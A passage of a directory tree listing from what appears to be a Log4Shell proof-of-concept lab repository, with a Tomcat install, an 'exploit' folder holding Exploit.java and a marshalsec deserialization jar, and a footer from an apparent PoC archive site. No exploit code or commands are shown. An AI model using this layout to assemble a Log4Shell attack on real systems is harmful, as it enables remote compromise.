[ 205] ByteCounter$1.class │   │   │   │   │   │   ├── [2.7K] ByteCounter$CounterListener.class │   │   │   │   │   │   ├── [1.8K] ByteCounter.class │   │   │   │   │   │   ├── [5.1K] ByteCounter.java │   │   │   │   │   │   ├── [ 208] NumberWriter$1.class │   │   │   │   │   │   ├── [3.0K] NumberWriter$NumberWriterListener.class │   │   │   │   │   │   ├── [1.6K] NumberWriter.class │   │   │   │   │   │   └── [5.2K] NumberWriter.java │   │   │   │   │   ├── [4.0K] num │   │   │   │   │   │   ├── [2.1K] NumberGuessBean.class │   │   │   │   │   │   └── [2.4K] NumberGuessBean.java │   │   │   │   │   ├── [3.6K] RequestHeaderExample.class │   │   │   │   │   ├── [3.8K] RequestHeaderExample.java │   │   │   │   │   ├── [3.3K] RequestInfoExample.class │   │   │   │   │   ├── [4.3K] RequestInfoExample.java │   │   │   │   │   ├── [3.2K] RequestParamExample.class │   │   │   │   │   ├── [4.0K] RequestParamExample.java │   │   │   │   │   ├── [1.4K] ServletToJsp.class │   │   │   │   │   ├── [1.5K] ServletToJsp.java │   │   │   │   │   ├── [4.6K] SessionExample.class │   │   │   │   │   ├── [5.3K] SessionExample.java │   │   │   │   │   ├── [4.0K] sessions │   │   │   │   │   │   ├── [1.5K] DummyCart.class │   │   │   │   │   │   └── [1.8K] DummyCart.java │   │   │   │   │   ├── [4.0K] trailers │   │   │   │   │   │   ├── [ 214] ResponseTrailers$1.class │   │   │   │   │   │   ├── [1.4K] ResponseTrailers$TrailerFieldSupplier.class │   │   │   │   │   │   ├── [1.6K] ResponseTrailers.class │   │   │   │   │   │   └── [2.2K] ResponseTrailers.java │   │   │   │   │   ├── [4.0K] util │   │   │   │   │   │   ├── [1.9K] CookieFilter.class │   │   │   │   │   │   ├── [3.0K] CookieFilter.java │   │   │   │   │   │   ├── [1.1K] HTMLFilter.class │   │   │   │   │   │   └── [2.1K] HTMLFilter.java │   │   │   │   │   ├── [4.0K] validators │   │   │   │   │   │   ├── [1.5K] DebugValidator.class │   │   │   │   │   │   └── [2.8K] DebugValidator.java │   │   │   │   │   └── [4.0K] websocket │   │   │   │   │   ├── [4.0K] chat │   │   │   │   │   │   ├── [3.6K] ChatAnnotation.class │   │   │   │   │   │   └── [3.4K] ChatAnnotation.java │   │   │   │   │   ├── [4.0K] drawboard │   │   │   │   │   │   ├── [1.7K] Client$1.class │   │   │   │   │   │   ├── [4.9K] Client.class │   │   │   │   │   │   ├── [9.0K] Client.java │   │   │   │   │   │   ├── [ 805] DrawboardContextListener.class │   │   │   │   │   │   ├── [1.2K] DrawboardContextListener.java │   │   │   │   │   │   ├── [2.1K] DrawboardEndpoint$1.class │   │   │   │   │   │   ├── [1.6K] DrawboardEndpoint$2.class │   │   │   │   │   │   ├── [2.5K] DrawboardEndpoint$3$1.class │   │   │   │   │   │   ├── [1.3K] DrawboardEndpoint$3.class │   │   │   │   │   │   ├── [3.8K] DrawboardEndpoint.class │   │   │   │   │   │   ├── [8.9K] DrawboardEndpoint.java │   │   │   │   │   │   ├── [ 688] DrawMessage$ParseException.class │   │   │   │   │   │   ├── [5.4K] DrawMessage.class │   │   │   │   │   │   ├── [7.1K] DrawMessage.java │   │   │   │   │   │   ├── [ 732] Room$1$1.class │   │   │   │   │   │   ├── [ 754] Room$1.class │   │   │   │   │   │   ├── [ 906] Room$2.class │   │   │   │   │   │   ├── [1.4K] Room$MessageType.class │   │   │   │   │   │   ├── [3.7K] Room$Player.class │   │   │   │   │   │   ├── [8.0K] Room.class │   │   │   │   │   │   ├── [ 16K] Room.java │   │   │   │   │   │   └── [4.0K] wsmessages │   │   │   │   │   │   ├── [ 359] AbstractWebsocketMessage.class │   │   │   │   │   │   ├── [1005] AbstractWebsocketMessage.java │   │   │   │   │   │   ├── [ 590] BinaryWebsocketMessage.class │   │   │   │   │   │   ├── [1.2K] BinaryWebsocketMessage.java │   │   │   │   │   │   ├── [ 389] CloseWebsocketMessage.class │   │   │   │   │   │   ├── [ 993] CloseWebsocketMessage.java │   │   │   │   │   │   ├── [ 583] StringWebsocketMessage.class │   │   │   │   │   │   └── [1.1K] StringWebsocketMessage.java │   │   │   │   │   ├── [4.0K] echo │   │   │   │   │   │   ├── [1.8K] EchoAnnotation.class │   │   │   │   │   │   ├── [2.3K] EchoAnnotation.java │   │   │   │   │   │   ├── [ 235] EchoAsyncAnnotation$1.class │   │   │   │   │   │   ├── [1.7K] EchoAsyncAnnotation$CompletedFuture.class │   │   │   │   │   │   ├── [2.8K] EchoAsyncAnnotation.class │   │   │   │   │   │   ├── [4.0K] EchoAsyncAnnotation.java │   │   │   │   │   │   ├── [ 214] EchoEndpoint$1.class │   │   │   │   │   │   ├── [1.6K] EchoEndpoint$EchoMessageHandlerBinary.class │   │   │   │   │   │   ├── [1.6K] EchoEndpoint$EchoMessageHandlerText.class │   │   │   │   │   │   ├── [1.3K] EchoEndpoint.class │   │   │   │   │   │   ├── [2.8K] EchoEndpoint.java │   │   │   │   │   │   ├── [1.8K] EchoStreamAnnotation.class │   │   │   │   │   │   ├── [2.3K] EchoStreamAnnotation.java │   │   │   │   │   │   └── [ 679] servers.json │   │   │   │   │   ├── [2.3K] ExamplesConfig.class │   │   │   │   │   ├── [2.3K] ExamplesConfig.java │   │   │   │   │   └── [4.0K] snake │   │   │   │   │   ├── [1.1K] Direction.class │   │   │   │   │   ├── [ 890] Direction.java │   │   │   │   │   ├── [ 807] Location$1.class │   │   │   │   │   ├── [1.3K] Location.class │   │   │   │   │   ├── [2.1K] Location.java │   │   │   │   │   ├── [4.4K] SnakeAnnotation.class │   │   │   │   │   ├── [4.4K] SnakeAnnotation.java │   │   │   │   │   ├── [5.0K] Snake.class │   │   │   │   │   ├── [4.5K] Snake.java │   │   │   │   │   ├── [ 832] SnakeTimer$1.class │   │   │   │   │   ├── [3.5K] SnakeTimer.class │   │   │   │   │   └── [3.7K] SnakeTimer.java │   │   │   │   ├── [4.0K] jsp │   │   │   │   │   ├── [4.0K] applet │   │   │   │   │   │   └── [7.6K] Clock2.java │   │   │   │   │   ├── [1.9K] debug-taglib.tld │   │   │   │   │   └── [3.1K] example-taglib.tld │   │   │   │   ├── [4.0K] jsp2 │   │   │   │   │   └── [4.8K] jsp2-example-taglib.tld │   │   │   │   ├── [4.0K] lib │   │   │   │   │   ├── [202K] taglibs-standard-impl-1.2.5-migrated-0.0.1.jar │   │   │   │   │   └── [ 39K] taglibs-standard-spec-1.2.5-migrated-0.0.1.jar │   │   │   │   ├── [4.0K] tags │   │   │   │   │   ├── [2.0K] displayProducts.tag │   │   │   │   │   ├── [ 801] helloWorld.tag │   │   │   │   │   └── [1.0K] panel.tag │   │   │   │   └── [ 15K] web.xml │   │   │   └── [4.0K] websocket │   │   │   ├── [4.5K] chat.xhtml │   │   │   ├── [ 40K] drawboard.xhtml │   │   │   ├── [6.9K] echo.xhtml │   │   │   ├── [1.2K] index.xhtml │   │   │   └── [9.2K] snake.xhtml │   │   ├── [4.0K] host-manager │   │   │   ├── [4.0K] css │   │   │   │   └── [2.7K] manager.css │   │   │   ├── [4.0K] images │   │   │   │   ├── [ 20K] asf-logo.svg │   │   │   │   └── [ 66K] tomcat.svg │   │   │   ├── [ 913] index.jsp │   │   │   ├── [4.0K] META-INF │   │   │   │   └── [1.3K] context.xml │   │   │   └── [4.0K] WEB-INF │   │   │   ├── [4.0K] jsp │   │   │   │   ├── [2.8K] 401.jsp │   │   │   │   ├── [3.8K] 403.jsp │   │   │   │   └── [2.5K] 404.jsp │   │   │   ├── [1.4K] manager.xml │   │   │   └── [5.0K] web.xml │   │   ├── [4.0K] manager │   │   │   ├── [4.0K] css │   │   │   │   └── [2.7K] manager.css │   │   │   ├── [4.0K] images │   │   │   │   ├── [ 20K] asf-logo.svg │   │   │   │   └── [ 66K] tomcat.svg │   │   │   ├── [ 913] index.jsp │   │   │   ├── [4.0K] META-INF │   │   │   │   └── [1.3K] context.xml │   │   │   ├── [4.3K] status.xsd │   │   │   ├── [4.0K] WEB-INF │   │   │   │   ├── [4.0K] jsp │   │   │   │   │   ├── [3.3K] 401.jsp │   │   │   │   │   ├── [4.2K] 403.jsp │   │   │   │   │   ├── [2.6K] 404.jsp │   │   │   │   │   ├── [3.3K] connectorCerts.jsp │   │   │   │   │   ├── [3.3K] connectorCiphers.jsp │   │   │   │   │   ├── [3.3K] connectorTrustedCerts.jsp │   │   │   │   │   ├── [8.0K] sessionDetail.jsp │   │   │   │   │   └── [ 11K] sessionsList.jsp │   │   │   │   └── [7.1K] web.xml │   │   │   └── [4.6K] xform.xsl │   │   └── [4.0K] ROOT │   │   ├── [ 27K] asf-logo-wide.svg │   │   ├── [ 713] bg-button.png │   │   ├── [1.9K] bg-middle.png │   │   ├── [1.4K] bg-nav.png │   │   ├── [3.0K] bg-upper.png │   │   ├── [ 21K] favicon.ico │   │   ├── [ 12K] index.jsp │   │   ├── [6.7K] RELEASE-NOTES.txt │   │   ├── [5.4K] tomcat.css │   │   ├── [ 66K] tomcat.svg │   │   └── [4.0K] WEB-INF │   │   └── [1.2K] web.xml │   └── [4.0K] work │   └── [4.0K] Catalina │   └── [4.0K] localhost │   ├── [4.0K] manager │   │   └── [4.0K] org │   │   └── [4.0K] apache │   │   └── [4.0K] jsp │   │   ├── [5.5K] index_jsp.class │   │   ├── [4.6K] index_jsp.java │   │   └── [4.0K] WEB_002dINF │   │   └── [4.0K] jsp │   │   ├── [8.7K] _401_jsp.class │   │   └── [8.5K] _401_jsp.java │   └── [4.0K] ROOT │   └── [4.0K] org │   └── [4.0K] apache │   └── [4.0K] jsp │   ├── [ 18K] index_jsp.class │   └── [ 30K] index_jsp.java ├── [4.0K] assets │   └── [4.0K] images │   └── [6.1M] log4jshell_tomcat.gif ├── [4.0K] exploit │   ├── [1.0K] Exploit.class │   ├── [ 538] Exploit.java │   └── [ 41M] marshalsec-0.0.3-SNAPSHOT-all.jar └── [ 857] README.md 130 directories, 660 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。